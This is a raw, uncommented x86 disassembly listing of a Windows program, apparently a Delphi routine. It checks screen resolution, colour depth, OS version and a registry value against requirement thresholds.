mov eax, dword [ebp - 0x2234]
call fcn.0040b328
cmp eax, 7
ja case.0x5a757d.0
jmp dword [eax*4 + 0x5a7584]
mov dword [ebp - 0x564], 0x20
jmp case.0x5a757d.0
mov dword [ebp - 0x564], 0x40
jmp case.0x5a757d.0
mov dword [ebp - 0x564], 0x80
jmp case.0x5a757d.0
mov dword [ebp - 0x564], pe_nt_image_headers32
jmp case.0x5a757d.0
mov dword [ebp - 0x564], 0x200
jmp case.0x5a757d.0
mov dword [ebp - 0x564], 0x400
jmp case.0x5a757d.0
mov dword [ebp - 0x564], 0x800
mov eax, dword [ebp - 0x564]
sub eax, 2
shl eax, 0xa
shl eax, 0xa
mov dword [ebp - 0x564], eax
lea eax, [ebp - 0x5f8]
push eax
lea ecx, [ebp - 0x5f0]
lea edx, [ebp - 0x5e8]
mov al, 1
call fcn.0058adb4
mov eax, dword [ebp - 0x564]
cdq
cmp edx, dword [ebp - 0x5e4]
jne 0x5a763f
cmp eax, dword [ebp - 0x5e8]
setbe al
jmp 0x5a7642
setle al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
lea eax, [ebp - 0x223c]
push eax
lea ecx, [ebp - 0x2240]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2240]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x223c]
call fcn.0040b328
add eax, 0xfffffff8
cmp eax, 4
ja case.default.0x5a769b
jmp dword [eax*4 + 0x5a76a2]
mov dword [ebp - 0x564], 0x320
mov dword [ebp - 0x568], 0x258
jmp case.default.0x5a769b
mov dword [ebp - 0x564], 0x400
mov dword [ebp - 0x568], 0x300
jmp case.default.0x5a769b
mov dword [ebp - 0x564], 0x500
mov dword [ebp - 0x568], 0x400
jmp case.default.0x5a769b
mov dword [ebp - 0x564], 0x640
mov dword [ebp - 0x568], 0x4b0
jmp case.default.0x5a769b
mov dword [ebp - 0x564], 0x780
mov dword [ebp - 0x568], 0x5a0
lea edx, [ebp - 0x600]
lea eax, [ebp - 0x5fc]
call fcn.0058b16c
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x564]
jl 0x5a774f
mov eax, dword [ebp - 0x600]
cmp eax, dword [ebp - 0x568]
jge 0x5a776f
mov eax, dword [ebp - 0x600]
cmp eax, dword [ebp - 0x564]
jl 0x5a776b
mov eax, dword [ebp - 0x5fc]
cmp eax, dword [ebp - 0x568]
jge 0x5a776f
xor eax, eax
jmp 0x5a7771
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
lea eax, [ebp - 0x2244]
push eax
lea ecx, [ebp - 0x2248]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2248]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2244]
call fcn.0040b328
sub eax, 0xd
je 0x5a77ce
dec eax
je 0x5a77da
dec eax
je 0x5a77e6
dec eax
je 0x5a77f2
jmp 0x5a77fc
mov dword [ebp - 0x564], 8
jmp 0x5a77fc
mov dword [ebp - 0x564], 0x10
jmp 0x5a77fc
mov dword [ebp - 0x564], 0x18
jmp 0x5a77fc
mov dword [ebp - 0x564], 0x20
lea edx, [ebp - 0x60c]
lea eax, [ebp - 0x608]
call fcn.0058aba0
mov eax, dword [ebp - 0x60c]
cmp eax, dword [ebp - 0x564]
setge al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
mov eax, dword [0x5d6114]
cmp dword [eax], 2
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
mov eax, dword [0x5d6114]
cmp dword [eax], 2
sete al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
lea eax, [ebp - 0x224c]
push eax
lea ecx, [ebp - 0x2250]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2250]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x224c]
call fcn.0040b328
cmp eax, 0x18
jg 0x5a78d1
je 0x5a796b
add eax, 0xffffffed
cmp eax, 4
ja case.default.0x5a78b6
jmp dword [eax*4 + 0x5a78bd]
sub eax, 0x19
je 0x5a797f
dec eax
je 0x5a7995
sub eax, 0x2b
je 0x5a79ab
sub eax, 7
je 0x5a79bf
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 4
xor eax, eax
mov dword [ebp - 0x568], eax
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 4
mov dword [ebp - 0x568], 0xa
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 4
mov dword [ebp - 0x568], 0xb
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 4
mov dword [ebp - 0x568], 0x5a
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 4
xor eax, eax
mov dword [ebp - 0x568], eax
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 5
xor eax, eax
mov dword [ebp - 0x568], eax
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 5
mov dword [ebp - 0x568], 1
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 5
mov dword [ebp - 0x568], 2
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 6
xor eax, eax
mov dword [ebp - 0x568], eax
jmp case.default.0x5a78b6
mov dword [ebp - 0x564], 6
mov dword [ebp - 0x568], 0xffffffff
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x614]
lea edx, [ebp - 0x610]
lea eax, [ebp - 0x595]
call fcn.0058b188
cmp dword [ebp - 0x568], 0xffffffff
jne 0x5a7a4c
mov eax, dword [ebp - 0x610]
cmp eax, dword [ebp - 0x564]
jg 0x5a7a24
mov eax, dword [ebp - 0x610]
cmp eax, dword [ebp - 0x564]
jne 0x5a7a36
mov eax, dword [ebp - 0x614]
cmp eax, dword [ebp - 0x568]
jl 0x5a7a36
cmp dword [ebp - 0x618], 1
jl 0x5a7a36
call fcn.0058e1e0
test al, al
jne 0x5a7a3a
xor eax, eax
jmp 0x5a7a3c
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
mov eax, dword [ebp - 0x610]
cmp eax, dword [ebp - 0x564]
jg 0x5a7a7a
mov eax, dword [ebp - 0x610]
cmp eax, dword [ebp - 0x564]
jne 0x5a7a76
mov eax, dword [ebp - 0x614]
cmp eax, dword [ebp - 0x568]
jge 0x5a7a7a
xor eax, eax
jmp 0x5a7a7c
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
lea eax, [ebp - 0x2254]
push eax
lea ecx, [ebp - 0x2258]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2258]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2254]
call fcn.0040b328
add eax, 0xffffffe5
cmp eax, 5
ja case.default.0x5a7ad1
jmp dword [eax*4 + 0x5a7ad8]
mov dword [ebp - 0x564], 1
jmp case.default.0x5a7ad1
mov dword [ebp - 0x564], 2
jmp case.default.0x5a7ad1
mov dword [ebp - 0x564], 3
jmp case.default.0x5a7ad1
mov dword [ebp - 0x564], 4
jmp case.default.0x5a7ad1
mov dword [ebp - 0x564], 5
jmp case.default.0x5a7ad1
mov dword [ebp - 0x564], 6
lea eax, [ebp - 0x618]
push eax
lea ecx, [ebp - 0x614]
lea edx, [ebp - 0x610]
lea eax, [ebp - 0x595]
call fcn.0058b188
mov eax, dword [ebp - 0x618]
cmp eax, dword [ebp - 0x564]
setge al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
lea edx, [ebp - 0x564]
lea eax, [ebp - 0x3c4]
call fcn.0058aa3c
lea edx, [ebp - 0x3c0]
mov eax, dword [ebp - 0x564]
call fcn.0040b1ec
jmp case.default.0x5a7440
lea edx, [ebp - 0x564]
lea eax, [ebp - 0x3c0]
call fcn.0058aa3c
jmp case.default.0x5a7440
lea edx, [ebp - 0x3c4]
lea eax, [ebp - 0x3c0]
call fcn.0058a4b0
jmp case.default.0x5a7440
lea edx, [ebp - 0x3c0]
lea eax, [ebp - 0x3c4]
call fcn.0058a4b0
jmp case.default.0x5a7440
lea eax, [ebp - 0x225c]
push eax
lea ecx, [ebp - 0x2260]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2260]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x225c]
call fcn.0040b328
add eax, 0xffffffdb
cmp eax, 0xf
ja case.default.0x5a7c25
jmp dword [eax*4 + 0x5a7c2c]
mov dword [ebp - 0x5cc], 6
xor eax, eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], 0xaf0
mov dword [ebp - 0x5d8], 0x452
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 6
xor eax, eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], 0xa28
xor eax, eax
mov dword [ebp - 0x5d8], eax
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 5
mov dword [ebp - 0x5d0], 5
mov dword [ebp - 0x5d4], 0x12c7
mov dword [ebp - 0x5d8], 0x8fc
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 5
mov dword [ebp - 0x5d0], 5
mov dword [ebp - 0x5d4], 0x11aa
mov dword [ebp - 0x5d8], 0x708
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 5
mov dword [ebp - 0x5d0], 5
mov dword [ebp - 0x5d4], 0x1026
mov dword [ebp - 0x5d8], 0x64
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 5
xor eax, eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], 0xdae
mov dword [ebp - 0x5d8], 0x1518
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 5
xor eax, eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], 0xcf2
mov dword [ebp - 0x5d8], 0x834
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 5
xor eax, eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], 0xb67
mov dword [ebp - 0x5d8], 0x18a3
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 5
xor eax, eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], 0x7de
mov dword [ebp - 0x5d8], 0xd5
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5d0], 0x48
mov dword [ebp - 0x5d4], 0xe1c
mov dword [ebp - 0x5d8], 0x6ab
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5d0], 0x48
mov dword [ebp - 0x5d4], 0xc26
mov dword [ebp - 0x5d8], 3
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5d0], 0x48
mov dword [ebp - 0x5d4], 0x83a
mov dword [ebp - 0x5d8], 7
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5d0], 0x47
mov dword [ebp - 0x5d4], 0x6b0
mov dword [ebp - 0x5d8], 5
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5d0], 0x46
mov dword [ebp - 0x5d4], 0x514
xor eax, eax
mov dword [ebp - 0x5d8], eax
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5d0], 0x46
mov dword [ebp - 0x5d4], 0x4bf
xor eax, eax
mov dword [ebp - 0x5d8], eax
jmp case.default.0x5a7c25
mov dword [ebp - 0x5cc], 4
mov dword [ebp - 0x5d0], 0x46
mov dword [ebp - 0x5d4], 0x483
xor eax, eax
mov dword [ebp - 0x5d8], eax
lea eax, [ebp - 0x5bc]
push eax
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0x5c4]
push eax
lea eax, [ebp - 0x5c8]
push eax
mov edx, dword [0x5d5a68]
mov edx, dword [edx]
lea eax, [ebp - 0x2264]
mov ecx, 0x5af830
call fcn.00405db0
mov eax, dword [ebp - 0x2264]
lea ecx, [ebp - 0x5b8]
lea edx, [ebp - 0x5b4]
call fcn.0058b068
mov byte [ebp - 0x595], 1
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5cc]
jae 0x5a7f83
mov byte [ebp - 0x595], 0
jmp 0x5a7ff0
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5cc]
jne 0x5a7ff0
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x5d0]
jae 0x5a7fa8
mov byte [ebp - 0x595], 0
jmp 0x5a7ff0
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x5d0]
jne 0x5a7ff0
mov eax, dword [ebp - 0x5bc]
cmp eax, dword [ebp - 0x5d4]
jae 0x5a7fcd
mov byte [ebp - 0x595], 0
jmp 0x5a7ff0
mov eax, dword [ebp - 0x5bc]
cmp eax, dword [ebp - 0x5d4]
jne 0x5a7ff0
mov eax, dword [ebp - 0x5c0]
cmp eax, dword [ebp - 0x5d8]
jae 0x5a7ff0
mov byte [ebp - 0x595], 0
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x595]
call fcn.00593690
jmp case.default.0x5a7440
xor eax, eax
mov dword [ebp - 0x568], eax
lea eax, [ebp - 0x2268]
push eax
lea ecx, [ebp - 0x226c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x226c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2268]
call fcn.0040b328
add eax, 0xffffffcb
cmp eax, 0x14
ja case.0x5a805f.59
movzx eax, byte [eax + 0x5a8066]
jmp dword [eax*4 + 0x5a807b]
mov dword [ebp - 0x564], 7
jmp case.0x5a805f.59
mov dword [ebp - 0x564], 6
jmp case.0x5a805f.59
mov dword [ebp - 0x564], 5
mov dword [ebp - 0x568], 1
jmp case.0x5a805f.59
mov dword [ebp - 0x564], 5
jmp case.0x5a805f.59
mov dword [ebp - 0x564], 4
jmp case.0x5a805f.59
mov dword [ebp - 0x564], 3
jmp case.0x5a805f.59
mov dword [ebp - 0x564], 2
mov dl, 1
mov eax, dword [0x43077c]
call fcn.004308e8
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
mov dword [eax + 0x18], 0x20019
mov edx, 0x80000002
mov eax, dword [ebp - 0x554]
call fcn.004309c4
xor ecx, ecx
mov edx, 0x5af844
mov eax, dword [ebp - 0x554]
call fcn.00430a2c
test al, al
jne 0x5a8145
mov byte [ebp - 0x595], 0
jmp 0x5a81bc
xor eax, eax
push ebp
push 0x5a81a0
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, 0x5af868
mov eax, dword [ebp - 0x554]
call fcn.00431108
mov ebx, eax
add ebx, ebx
lea ebx, [ebx + ebx*4]
mov edx, 0x5af880
mov eax, dword [ebp - 0x554]
call fcn.00431108
add ebx, eax
mov eax, dword [ebp - 0x564]
add eax, eax
lea eax, [eax + eax*4]
add eax, dword [ebp - 0x568]
cmp ebx, eax
setge byte [ebp - 0x595]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5a81b1
mov eax, dword [ebp - 0x554]
call fcn.00430994
mov eax, dword [ebp - 0x554]
call fcn.00404b38
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x595]
call fcn.00593690
jmp case.default.0x5a7440
lea eax, [ebp - 0x3c0]
call fcn.0057cf7c
jmp case.default.0x5a7440
lea edx, [ebp - 0x3c0]
mov al, 1
call fcn.0058a348
jmp case.default.0x5a7440
lea eax, [ebp - 0x3c0]
call fcn.0058a314
jmp case.default.0x5a7440
lea edx, [ebp - 0x3c0]
xor eax, eax
call fcn.0058a348
jmp case.default.0x5a7440
call fcn.0058a8e0
test al, al
je 0x5a8240
lea eax, [ebp - 0x3c0]
mov edx, 0x5af898
call fcn.00405b30
jmp case.default.0x5a7440
call fcn.0058a910
test al, al
je 0x5a825e
lea eax, [ebp - 0x3c0]
mov edx, 0x5af8a8
call fcn.00405b30
jmp case.default.0x5a7440
call fcn.0058a8f8
test al, al
je 0x5a827c
lea eax, [ebp - 0x3c0]
mov edx, 0x5af8b8
call fcn.00405b30
jmp case.default.0x5a7440
call fcn.0058a928
test al, al
je 0x5a829a
lea eax, [ebp - 0x3c0]
mov edx, 0x5af8c8
call fcn.00405b30
jmp case.default.0x5a7440
lea eax, [ebp - 0x3c0]
mov edx, 0x5af088
call fcn.00405b30
jmp case.default.0x5a7440
call fcn.0042d534
lea edx, [ebp - 0x3c0]
call fcn.0040b1ec
jmp case.default.0x5a7440
call fcn.0058e318
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
push 0x56
call sub.user32.dll_GetSystemMetrics
test eax, eax
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
push 0x57
call sub.user32.dll_GetSystemMetrics
test eax, eax
setne al
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
call fcn.0058e1e0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
call fcn.004b0a14
cmp eax, 1
sbb eax, eax
inc eax
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
call fcn.004b09b0
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
call fcn.004b0a14
test eax, eax
jne 0x5a8368
call fcn.004b09b0
test al, al
je 0x5a836c
xor eax, eax
jmp 0x5a836e
mov al, 1
lea edx, [ebp - 0x3c0]
call fcn.00593690
jmp case.default.0x5a7440
lea eax, [ebp - 0x3c0]
call fcn.0058e224
jmp case.default.0x5a7440
lea eax, [ebp - 0x3c0]
call fcn.00593f68
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5b4], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5b8], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5bc], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5c0], eax
mov dword [ebp - 0x5cc], 7
xor eax, eax
mov dword [ebp - 0x5d0], eax
mov dword [ebp - 0x5d4], 0x1662
mov dword [ebp - 0x5d8], 0xb
mov byte [ebp - 0x595], 1
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5cc]
jae 0x5a8421
mov byte [ebp - 0x595], 0
jmp 0x5a848e
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5cc]
jne 0x5a848e
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x5d0]
jae 0x5a8446
mov byte [ebp - 0x595], 0
jmp 0x5a848e
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x5d0]
jne 0x5a848e
mov eax, dword [ebp - 0x5bc]
cmp eax, dword [ebp - 0x5d4]
jae 0x5a846b
mov byte [ebp - 0x595], 0
jmp 0x5a848e
mov eax, dword [ebp - 0x5bc]
cmp eax, dword [ebp - 0x5d4]
jne 0x5a848e
mov eax, dword [ebp - 0x5c0]
cmp eax, dword [ebp - 0x5d8]
jae 0x5a848e
mov byte [ebp - 0x595], 0
lea edx, [ebp - 0x3c0]
movzx eax, byte [ebp - 0x595]
call fcn.00593690
lea eax, [ebp - 0x2270]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x2270]
mov edx, dword [ebp - 0x3c0]
mov eax, dword [ebp - 0x3b0]
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af8d8
call fcn.00405ec0
jne 0x5a886b
xor eax, eax
push ebp
push 0x5a8864
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.005924ec
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0x2274]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2274]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x3b0]
call fcn.005b0140
test al, al
jne 0x5a859c
lea edx, [ebp - 0x2278]
mov eax, dword [ebp - 0x3b0]
call fcn.0040abac
mov eax, dword [ebp - 0x2278]
push eax
lea eax, [ebp - 0x227c]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x227c]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x5bc]
push eax
lea eax, [ebp - 0x5c0]
push eax
lea eax, [ebp - 0x5c4]
push eax
lea eax, [ebp - 0x5c8]
push eax
lea eax, [ebp - 0x2288]
push eax
lea ecx, [ebp - 0x228c]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x228c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2288]
lea edx, [ebp - 0x2284]
call fcn.005939c8
mov eax, dword [ebp - 0x2284]
lea edx, [ebp - 0x2280]
call fcn.0058ff30
mov eax, dword [ebp - 0x2280]
lea ecx, [ebp - 0x5b8]
lea edx, [ebp - 0x5b4]
call fcn.0058b068
lea eax, [ebp - 0x2290]
push eax
lea ecx, [ebp - 0x2294]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x2294]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x2290]
call fcn.005936d4
test al, al
je 0x5a86f4
lea eax, [ebp - 0x5d4]
push eax
lea eax, [ebp - 0x5d8]
push eax
lea eax, [ebp - 0x5dc]
push eax
lea eax, [ebp - 0x5e0]
push eax
lea eax, [ebp - 0x22a0]
push eax
lea ecx, [ebp - 0x22a4]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22a4]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x22a0]
lea edx, [ebp - 0x229c]
call fcn.005939c8
mov eax, dword [ebp - 0x229c]
lea edx, [ebp - 0x2298]
call fcn.0058ff30
mov eax, dword [ebp - 0x2298]
lea ecx, [ebp - 0x5d0]
lea edx, [ebp - 0x5cc]
call fcn.0058b068
jmp 0x5a877b
lea eax, [ebp - 0x22a8]
push eax
lea ecx, [ebp - 0x22ac]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22ac]
mov ecx, 5
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x22a8]
lea edx, [ebp - 0x3c0]
call fcn.005939c8
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5cc], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5d0], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5d4], eax
lea eax, [ebp - 0x3c0]
call fcn.005939e0
mov dword [ebp - 0x5d8], eax
mov byte [ebp - 0x595], 1
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5cc]
jae 0x5a8799
mov byte [ebp - 0x595], 0
jmp 0x5a8806
mov eax, dword [ebp - 0x5b4]
cmp eax, dword [ebp - 0x5cc]
jne 0x5a8806
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x5d0]
jae 0x5a87be
mov byte [ebp - 0x595], 0
jmp 0x5a8806
mov eax, dword [ebp - 0x5b8]
cmp eax, dword [ebp - 0x5d0]
jne 0x5a8806
mov eax, dword [ebp - 0x5bc]
cmp eax, dword [ebp - 0x5d4]
jae 0x5a87e3
mov byte [ebp - 0x595], 0
jmp 0x5a8806
mov eax, dword [ebp - 0x5bc]
cmp eax, dword [ebp - 0x5d4]
jne 0x5a8806
mov eax, dword [ebp - 0x5c0]
cmp eax, dword [ebp - 0x5d8]
ja 0x5a8806
mov byte [ebp - 0x595], 0
lea edx, [ebp - 0x22b0]
movzx eax, byte [ebp - 0x595]
call fcn.00593690
mov eax, dword [ebp - 0x22b0]
push eax
lea eax, [ebp - 0x22b4]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x22b4]
mov eax, dword [ebp - 0x3b0]
pop edx
call fcn.00590064
call fcn.00405498
jmp 0x5ad501
mov eax, dword [ebp - 0x438]
mov edx, 0x5af8f4
call fcn.00405ec0
jne 0x5a8fc0
lea eax, [ebp - 0x22bc]
push eax
lea ecx, [ebp - 0x22c0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22c0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x22bc]
lea edx, [ebp - 0x22b8]
call fcn.005939c8
mov eax, dword [ebp - 0x22b8]
lea edx, [ebp - 0x404]
call fcn.0058ff30
lea eax, [ebp - 0x22c8]
push eax
lea ecx, [ebp - 0x22cc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22cc]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x22c8]
lea edx, [ebp - 0x22c4]
call fcn.005939c8
mov eax, dword [ebp - 0x22c4]
lea edx, [ebp - 0x408]
call fcn.0058ff30
lea eax, [ebp - 0x3c4]
push eax
lea ecx, [ebp - 0x22d0]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22d0]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3c4], 0
je 0x5a89af
mov eax, dword [ebp - 0x3c4]
call fcn.005b0140
test al, al
jne 0x5a89af
lea edx, [ebp - 0x22d4]
mov eax, dword [ebp - 0x3c4]
call fcn.0040abac
mov eax, dword [ebp - 0x22d4]
push eax
lea eax, [ebp - 0x22d8]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x22d8]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x3c8]
push eax
lea ecx, [ebp - 0x22dc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22dc]
mov ecx, 4
mov eax, dword [ebp + 0x10]
call fcn.005b0190
cmp dword [ebp - 0x3c8], 0
je 0x5a8a35
mov eax, dword [ebp - 0x3c8]
call fcn.005b0140
test al, al
jne 0x5a8a35
lea edx, [ebp - 0x22e0]
mov eax, dword [ebp - 0x3c8]
call fcn.0040abac
mov eax, dword [ebp - 0x22e0]
push eax
lea eax, [ebp - 0x22e4]
mov ecx, 0x5ae7b8
mov edx, dword [ebp - 0x438]
call fcn.00405db0
mov ecx, dword [ebp - 0x22e4]
xor edx, edx
pop eax
call fcn.0059002c
lea eax, [ebp - 0x22e8]
push eax
lea ecx, [ebp - 0x22ec]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22ec]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005b0190
mov eax, dword [ebp - 0x22e8]
call fcn.005936d4
test al, al
je 0x5a8aba
lea edx, [ebp - 0x22f0]
mov eax, dword [ebp - 0x404]
call fcn.0040abe4
mov edx, dword [ebp - 0x22f0]
lea eax, [ebp - 0x404]
call fcn.00405b30
lea edx, [ebp - 0x22f4]
mov eax, dword [ebp - 0x408]
call fcn.0040abe4
mov edx, dword [ebp - 0x22f4]
lea eax, [ebp - 0x408]
call fcn.00405b30
xor eax, eax
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x638], 1
mov dword [ebp - 0x63c], 1
lea eax, [ebp - 0x22f8]
push eax
lea ecx, [ebp - 0x22fc]
mov edx, dword [ebp - 0x54c]
dec edx
mov eax, dword [ebp - 0x53c]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x22fc]
